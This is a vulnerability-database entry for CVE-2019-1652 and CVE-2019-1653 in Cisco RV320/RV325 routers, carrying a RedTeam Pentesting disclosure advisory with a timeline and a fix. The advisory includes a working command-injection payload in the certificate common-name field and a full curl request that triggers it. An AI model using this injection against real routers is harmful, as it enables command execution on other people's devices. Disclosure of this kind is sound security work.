ID

VAR-E-201901-0513


CVE

cve_id:CVE-2019-1653

Trust: 3.3

cve_id:CVE-2019-1652

Trust: 2.8

sources: BID: 106728 // BID: 106732 // PACKETSTORM: 152261 // PACKETSTORM: 152262 // PACKETSTORM: 151313 // PACKETSTORM: 151374 // PACKETSTORM: 151311 // PACKETSTORM: 151312 // PACKETSTORM: 152260 // PACKETSTORM: 152305 // EXPLOIT-DB: 46243

EDB ID

46243


TITLE

Cisco RV320 Dual Gigabit WAN VPN Router 1.4.2.15 - Command Injection - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 46243

DESCRIPTION

Cisco RV320 Dual Gigabit WAN VPN Router 1.4.2.15 - Command Injection. CVE-2019-1652 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 46243

AFFECTED PRODUCTS

vendor:ciscomodel:rv320scope: - version: -

Trust: 3.0

vendor:ciscomodel:rv320 dual gigabit wan vpn routerscope:eqversion:1.4.2.15

Trust: 2.2

vendor:ciscomodel:rv325 dual gigabit wan vpn routerscope:eqversion:1.4.2.17

Trust: 0.6

vendor:ciscomodel:rv325 dual gigabit wan vpn routerscope:eqversion:1.4.2.15

Trust: 0.6

vendor:ciscomodel:rv320 dual gigabit wan vpn routerscope:eqversion:1.4.2.17

Trust: 0.6

vendor:ciscomodel:rv325 dual gigabit wan vpn routerscope:neversion:1.4.2.20

Trust: 0.6

vendor:ciscomodel:rv320 dual gigabit wan vpn routerscope:neversion:1.4.2.20

Trust: 0.6

vendor:ciscomodel:rv300 rv320scope:eqversion:/

Trust: 0.5

vendor:ciscomodel:rv320 rv325 unauthenticatedscope:eqversion:/

Trust: 0.5

vendor:ciscomodel:rv325 dual gigabit wan vpn routerscope:eqversion:1.4.2.19

Trust: 0.3

vendor:ciscomodel:rv325 dual gigabit wan vpn routerscope:eqversion:1.4.2.18

Trust: 0.3

vendor:ciscomodel:rv325 dual gigabit wan vpn routerscope:eqversion:1.4.2.16

Trust: 0.3

vendor:ciscomodel:rv320 dual gigabit wan vpn routerscope:eqversion:1.4.2.19

Trust: 0.3

vendor:ciscomodel:rv320 dual gigabit wan vpn routerscope:eqversion:1.4.2.18

Trust: 0.3

vendor:ciscomodel:rv320 dual gigabit wan vpn routerscope:eqversion:1.4.2.16

Trust: 0.3

vendor:ciscomodel:rv325 dual gigabit wan vpn routerscope:neversion:1.4.2.19

Trust: 0.3

vendor:ciscomodel:rv320 dual gigabit wan vpn routerscope:neversion:1.4.2.19

Trust: 0.3

sources: BID: 106728 // BID: 106732 // PACKETSTORM: 152261 // PACKETSTORM: 152262 // PACKETSTORM: 151313 // PACKETSTORM: 151374 // PACKETSTORM: 151311 // PACKETSTORM: 151312 // PACKETSTORM: 152260 // PACKETSTORM: 152305 // EXPLOIT-DB: 46243 // EDBNET: 100877

EXPLOIT

RedTeam Pentesting discovered a command injection vulnerability in the
web-based certificate generator feature of the Cisco RV320 router.

Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 and later
Fixed Versions: since 1.4.2.20
Vulnerability Type: Remote Code Execution
Security Risk: medium
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2018-004
Advisory Status: published
CVE: CVE-2019-1652
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652

Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])

More Details
============

The router's web interface enables users to generate new X.509
certificates directly on the device. A user may enter typical
configuration parameters required for the certificate, such as
organisation, the common name and so on. In order to generate the
certificate, the device uses the command-line program openssl [2]. The
device's firmware uses the following format string to assemble the
openssl command:

------------------------------------------------------------------------
openssl req -new -nodes -subj '/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s/emailAddress=%s' -keyout %s%s.key -sha256 -out %s%s.csr -days %s -newkey rsa:%s > /dev/null 2>&1
------------------------------------------------------------------------

Although the web interface filters certain special characters via
JavaScript, there is actually no input filtering, escaping or encoding
happening on the server. This allows attackers to inject arbitrary
commands.

Proof of Concept
================

Even though all components of the subject seem to be vulnerable to
command injection, the following example uses the common name to trigger
a ping command:

------------------------------------------------------------------------
a'$(ping -c 4 192.168.1.2)'b
------------------------------------------------------------------------

The following HTTP POST request invokes the certificate generator
function and triggers the command injection. It requires a valid session
cookie for the device's web interface.

------------------------------------------------------------------------
curl -s -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
"&organization=A&organization_unit=A&email=ab%40example.com"\
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
"SelectSubject_s=1" \
--data-urlencode "common_name=a'\$(ping -c 4 192.168.1.2)'b" \
"http://192.168.1.1/certificate_handle2.htm?type=4"
------------------------------------------------------------------------

Afterwards, the incoming ICMP echo requests can be observed on the
attacker's system at 192.168.1.2.

Workaround
==========

Prevent untrusted users from using the router's web interface.

Fix
===

Install firmware version 1.4.2.20 (or later) on the router.

Security Risk
=============

The vulnerability allows attackers with administrative access to the
router's web interface to execute arbitrary operating system commands on
the device. Because attackers require valid credentials to the web
interface, this vulnerability is only rated as a medium risk.

Timeline
========

2018-09-19 Vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-16 List of affected versions provided by vendor
2019-01-23 Advisory published

References
==========

[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://wiki.openssl.org/index.php/Command_Line_Utilities

RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/

Trust: 1.0

sources: EXPLOIT-DB: 46243

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 46243

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 46243

TYPE

Command Injection

Trust: 1.6

sources: EXPLOIT-DB: 46243 // EDBNET: 100877

TAGS

tag:exploit

Trust: 4.0

tag:web

Trust: 3.5

tag:info disclosure

Trust: 1.0

tag:Command Injection

Trust: 1.0

tag:remote

Trust: 0.5

tag:code execution

Trust: 0.5

sources: PACKETSTORM: 152261 // PACKETSTORM: 152262 // PACKETSTORM: 151313 // PACKETSTORM: 151374 // PACKETSTORM: 151311 // PACKETSTORM: 151312 // PACKETSTORM: 152260 // PACKETSTORM: 152305 // EXPLOIT-DB: 46243

CREDITS

RedTeam Pentesting

Trust: 0.6

sources: EXPLOIT-DB: 46243

EXTERNAL IDS

db:NVDid:CVE-2019-1652

Trust: 3.4

db:NVDid:CVE-2019-1653

Trust: 3.3

db:EXPLOIT-DBid:46243

Trust: 1.6

db:EDBNETid:100877

Trust: 0.6

db:PACKETSTORMid:152261

Trust: 0.5

db:PACKETSTORMid:152262

Trust: 0.5

db:PACKETSTORMid:151313

Trust: 0.5

db:PACKETSTORMid:151374

Trust: 0.5

db:PACKETSTORMid:151311

Trust: 0.5

db:PACKETSTORMid:151312

Trust: 0.5

db:PACKETSTORMid:152260

Trust: 0.5

db:PACKETSTORMid:152305

Trust: 0.5

db:BIDid:106728

Trust: 0.3

db:BIDid:106732

Trust: 0.3

sources: BID: 106728 // BID: 106732 // PACKETSTORM: 152261 // PACKETSTORM: 152262 // PACKETSTORM: 151313 // PACKETSTORM: 151374 // PACKETSTORM: 151311 // PACKETSTORM: 151312 // PACKETSTORM: 152260 // PACKETSTORM: 152305 // EXPLOIT-DB: 46243 // EDBNET: 100877

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2019-1653

Trust: 3.0

url:https://nvd.nist.gov/vuln/detail/cve-2019-1652

Trust: 2.5

url:https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection

Trust: 1.3

url:https://software.cisco.com/download/home/284005929/type/282465789/release/1.4.2.20

Trust: 0.6

url:https://software.cisco.com/download/home/284005936/type/282465789/release/1.4.2.20

Trust: 0.6

url:http://www.cisco.com/

Trust: 0.6

url:https://www.exploit-db.com/exploits/46243/

Trust: 0.6

url:https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190123-rv-inject

Trust: 0.3

url:https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-003/-cisco-rv320-unauthenticated-diagnostic-data-retrieval

Trust: 0.3

url:https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190123-rv-info

Trust: 0.3

sources: BID: 106728 // BID: 106732 // PACKETSTORM: 152261 // PACKETSTORM: 152262 // PACKETSTORM: 151313 // PACKETSTORM: 151374 // PACKETSTORM: 151311 // PACKETSTORM: 151312 // PACKETSTORM: 152260 // PACKETSTORM: 152305 // EXPLOIT-DB: 46243 // EDBNET: 100877

SOURCES

db:BIDid:106728
db:BIDid:106732
db:PACKETSTORMid:152261
db:PACKETSTORMid:152262
db:PACKETSTORMid:151313
db:PACKETSTORMid:151374
db:PACKETSTORMid:151311
db:PACKETSTORMid:151312
db:PACKETSTORMid:152260
db:PACKETSTORMid:152305
db:EXPLOIT-DBid:46243
db:EDBNETid:100877

LAST UPDATE DATE

2024-03-21T15:09:38.540000+00:00


SOURCES UPDATE DATE

db:BIDid:106728date:2019-01-23T00:00:00
db:BIDid:106732date:2019-01-23T00:00:00

SOURCES RELEASE DATE

db:BIDid:106728date:2019-01-23T00:00:00
db:BIDid:106732date:2019-01-23T00:00:00
db:PACKETSTORMid:152261date:2019-03-27T17:54:50
db:PACKETSTORMid:152262date:2019-03-27T17:55:45
db:PACKETSTORMid:151313date:2019-01-24T16:40:26
db:PACKETSTORMid:151374date:2019-01-29T00:48:50
db:PACKETSTORMid:151311date:2019-01-24T16:37:19
db:PACKETSTORMid:151312date:2019-01-24T16:39:16
db:PACKETSTORMid:152260date:2019-03-27T17:49:07
db:PACKETSTORMid:152305date:2019-03-30T00:52:21
db:EXPLOIT-DBid:46243date:2019-01-25T00:00:00
db:EDBNETid:100877date:2019-02-05T00:00:00